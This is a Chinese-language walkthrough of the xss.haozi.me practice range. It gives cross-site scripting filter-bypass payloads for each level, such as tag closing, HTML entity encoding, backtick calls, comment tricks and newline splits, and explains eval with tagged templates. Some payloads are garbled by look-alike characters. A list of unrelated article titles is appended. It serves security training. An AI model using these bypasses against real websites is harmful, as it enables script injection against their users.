靶场连接就是xss.haozi.me

0x00

这一关也没有啥限制,就直接输出就可以了

< script>alert(0)< /script >

0x01

这一关的输出是在< textarea >标签里面的,但是这个标签只能输入文本,所以只能先将标签闭合,然后进行弹窗。

< /textarea>< script>alert(1)< /script>< textarea>

0x02

这个就是将input标签先闭合上,然后再进行输入弹窗就可以了。

aaa">< script>alert(1)< /script>

0x03

这一关是将括号给过滤掉了,也就是说alert()的括号不可以直接打印出来,所以这里可以采用两种方式,一种是编码的形式,另一种就是使用反引号来代替括号。

< script>alert& #40;1& #41;< /script>
< script>alert`1`< /script>

这里使用的``是模板字符串,所以针对这个可以细分知识点。
1.模板字符串的用法:
`string text`
`string text line 1`
`string text line 2`
`string text ${expression} string text`
tag `string text ${expression} string text`

最后一个为带有标签的字符串,可以将他分为一下四种情况:
2. eval `$prompt(1)} `
js中,eval只有在字符串的情况下才会进行全局寻找,如果是其他型是的则会直接原样返回

t他的返回结果是:

这个过程中,模板字符串是先执行函数在执行eval,首先模板字符串的左右是没有值得,所以这返回的是空值,然后函数返回的是我们刚刚输入的aaa,eval收到了2个参数,一个是空的数组,另一个就是aaa,但是eval只能接收一个值,所以接收的是先回来的空数组,所以这里返回的就是空值。
3.eval`{‘prompt(1)’}`

这个过程和上一个是一样的,也是先执行模板字符串然后再执行eval,但是在执行prompt的时候,他是当做字符串进行输出的,所以他是不能弹窗的,这样的情况下也是传回了2个值,但是eval只能接收一个,所以接收的也是空数组。
4.eval.call`${‘prompt’}`

这种情况可以看到是有弹窗的,并且返回的值是:

这里和前两个的区别就是多了一个call方法,
call方法的作用:可以改变this的指向,如果执行的第一个值为空值得话,eval指定的是全局,但如果不是的话,则将该数作为定义的名字进行查找。
所以这个也是先执行模板字符串,他也是将{}里面当做了字符串,然后返回的依旧是空数组和弹窗所输入的值,然后call方法可以接受两个值,而这里也返回了两个值,第一个值为空,所以this指向了全局变量,全局变量里面是有prompt这个函数的,所以返回的就是咱么刚刚输入的那个值。

5.eval.call`prompt(1)`

这个返回的是prompt(),不是空值,所以指向的不是空值了,但是,==在eval的官方文档中有一句话就是:因为eval的别名调用的形式五花班恩,只要不是直接调用,都属于别名调用,又因为引擎只能分辨eval()这一种形式是直接调用,所以可以默认为调用后的作用域依旧是别名。==所以仍然是全局里面查找,然后又没有给prompt传值,所以是undefined。
6.eval.call`${prompt(1)}`

这个可以将弹窗执行出来,但是返回的结果是:

这里依旧先执行模板字符串,这里的字符串是可以弹出的,并且给她的返回值是bbb,这里传回的两个值是空数组和bbb,因为使用了call方法,并且第一个返回值是空,所以指向了全局变量,但是在全局中没有定义bbb,所以返回的是bbb is not defined。如果定义了bbb,则返回的结果就是你定义的那个值。
这里就可以看到,我先定义了bbb是123,在此执行的时候,返回的值就是123了。

0x04

这一关和上一关相同,但是它把反引号也过滤了,所以就只能使用编码的方式了。

< script>alert& #40;1& #41;< /script>

0x05

这一关将注释符号(–>)过滤成了一个笑脸的表情,但是我们又需要把注释给闭合上,所以可以使用另一种注释的符号(–!>)

–!>< script>alert(1)< /script><!–

0x06

这里将auto或者on过滤成了_,并且是在input标签输出,所以这里可以将type的值改成imge的形式进行输出,并且使用换行的方式来停止以on开头=结尾变成_。

type="image"src=1 onerror
=alert(1)

0x07

这一关过滤了标签符号,所以没有办法写标签,也没有办法闭合。但是html中img标签是可以不写后面的“>”,因为它有一种纠错机制,

<img type=“image” src=1 οnerrοr=alert(1)//

0x08

这一关限制了不可以对style标签进行闭合,一旦出现< /style>会转变为“坏人”,但是html中将标签换行也是可以识别的,所以可以换行处理标签。

</style

< script>alert(1)< /script>
< style

0x09

这一关必须以https://www.segmentfault.com为开头,否则不能输入,然后就将script标签闭合在写点击事件就可以了。

https://www.segmentfault.com">< /script><svg/οnlοad=alert(1)< script>

0x0A

这里可以使用@的小技巧。
以@分隔的话前面表示的是用户名和密码,后面表示的是登录的网站和端口,也可以以表示重定向到第二个网站。

0x0B

这里用到了将所有字母转大写。可以使用编码来转换。

< svg/οnlοad=& #97;& #108;& #101;& #114;& #116;(1)>

0xC

这一关过滤了script,并且将字母转为大写。可以使用编码来进行。

<svg/οnlοad=& #97;& #108;& #101;& #114;& #116;(1)>

0x0D

这关过滤了斜杠,但是要闭合注释,所以和使用换行的方式。

alert(1)
–>

0x0E

这关和第10关很解法相似,都是指定到其他地方进行调转。

https://www.segmentfault.com@127.0.0.1/te.js

0x0F

这一关就是将一些符号进行了编码;但是这也是可以识别的,所以就是将src闭合,然后写弹窗,然后将后面注释

aaa’),alert(1)//

0x10

这里就是直接输入,所以可以直接输入

alert(1)

0x11

这关将一些字符转换了,也是先将那个闭合,然后进行弹窗。

"),alert(1)//

0x12

这一关将"过滤成了",所以可以使用转义符号将先将\转义,就可以过关了。

"),alert(1)//

xss.haozi.me练习通关相关推荐

  1. xss.haozi.me通关教程

    10.xss.haozi.me通关教程 0x00 首先整体浏览网站 分别是xss注入点,注入后的HTML代码以及网页源码 构造常规payload: <script>alert(1)< ...

  2. xss靶场、xss.haozi.me靶场详细通关教程

    文章目录 前言 预备知识 HTML编码 img的可拓展 各种payload形式 0x00 0x01 0x02 0x03(使用了正则过滤圆括号) 其它解法 0x04(使用正则过滤圆括号和反引号) 0x0 ...

  3. xss.haozi 思路总结 0x00-0x12

    xss刷题网站2 https://xss.haozi.me/ 一个非常可爱的网站.这是网站界面,题目序号是十六进制,一共19道题. 0x00 直接输入<script>alert(1)< ...

  4. XSS表情包靶场通关记录

    平台 alert(1)https://xss.haozi.me 0X00 源码无防护,直接常规payload绕过 <script>alert(1)</script> <s ...

  5. XSS靶场level15详细通关教程

    我的一个朋友这些天在家找工作,利用间隙时间重温一下XSS靶场.可是做到第15关的时候,怎么也无法通关.我这个朋友在15关卡住了2天.最后终于找到了问题的根源.[这个朋友使用的是在线靶场,如果你是自己搭 ...

  6. XSS小游戏的通关之路

    1.开始 <script>alert('a')</script><script>alert(1)</script><script>confi ...

  7. XSS学习笔记:XSS Game(xss.pwnfunction.com)1-11通关全解

    前言 继续学习XSS 本篇是XSS Game平台的通关全解 1.Ma Spaghet! 源码 一个不安全的方式 直接get传输somebody 输入123看看位置 ?somebody=123 那就很简 ...

  8. 独孤九剑xss通关教程

    独孤九剑xss通关教程 独孤九剑第一式: 这里过滤了 =() 构造payload: ?data="><svg><script>%26%23x65%3B%26%2 ...

  9. xss绕过字符过滤_XSS绕过实战练习

    前言 写这篇博文起源来自于一次网络安全实验课,在实验虚拟环境里有一个xss挑战,估计是搬别人的xss挑战进来,我觉得挺有意思,就记录一下.有些关卡不能再虚拟环境实践,我在自己物理机上找到那个xss挑战 ...

  10. switchyomega插件_CTF|你所关注的CTFer都在用的插件合集【附:XXE补给+CTF训练集】...

    不看后悔系列,建议收藏 相信大家对 CTF 都不陌生了,今天为大家带来了一系列 CTF 必备 Chrome 插件. CTF 可能很多人想学 CTF,但又怕零基础学不懂.其实,CTF 并没有那么难. C ...

最新文章

  1. ICLR20 | GraphZoom:可缩放图嵌入
  2. mysql %w_MySQLDATE_FORMAT()函数
  3. html 显示代码块,使用Pre在文章中显示代码块 - 文章教程
  4. Java线程之守护线程(Daemon)
  5. SAP CRM WebClient UI cross component跳转中有一个硬编码的CROSSNAV
  6. QT添加rtmp库的时候出现问题
  7. php版本7历史,php的版本发展历史(1995-2020)
  8. 对比Oracle和Mysql在锁机制上的类似和差异点
  9. 首提 Database Plus 新理念,SphereEx 获数百万美元天使融资,接棒 ShardingSphere 打造新型分布式生态
  10. 【高斯和拉普拉斯为什么分别对应L2和L1?】差分隐私系统学习记录(五)
  11. Linux下启动、停止J2SE程序(脚本)
  12. 丹佛斯冷媒尺汉化下载_koolapp手机版
  13. PM981/PM981a安装黑苹果-VM Ware教程
  14. 在线DES加密解密、DES在线加密解密、DES encryption and decryption
  15. python颜色参数palette_数据可视化Seaborn从零开始学习教程(二) 颜色调控篇
  16. R语言数据可视化-箱线图
  17. 气象接口返回图标_国家气象局提供的天气预报接口及使用说明
  18. PPP over Ethernet(PPPoE)协议
  19. VS2017离线安装失败解决无法重新安装问题 catalog问题
  20. 带你彻底搞懂锁膨胀,偏向锁,轻量级锁,重量级锁

热门文章

  1. idou老师教你学Istio11 : 如何用Istio实现流量熔断
  2. 我的理想600字作文计算机方面,我的理想作文600字当一名老师(共8篇)
  3. 什么是网络爬虫?有哪些作用?如何构建?
  4. 机器学习:数学加强(二)——条件概率、贝叶斯公式、常见分布、协方差、相关系数、切比雪夫不等式、大数定律
  5. 在 Vue 中使用lodash对事件进行防抖和节流
  6. 三国志战略版360区S4服务器合并信息,三国志战略版S3合区表 新赛季哪些服务器合区...
  7. 误码率matlab,关于误码率的问题 急!!!!!
  8. C++之客户消费积分管理系统
  9. 毕业三年,坚持学习两年,成功上岸字节跳动,背水一战
  10. linux上命令调用smplayer,Linux播放器——RedHat下MPlayer和SMPlayer的安装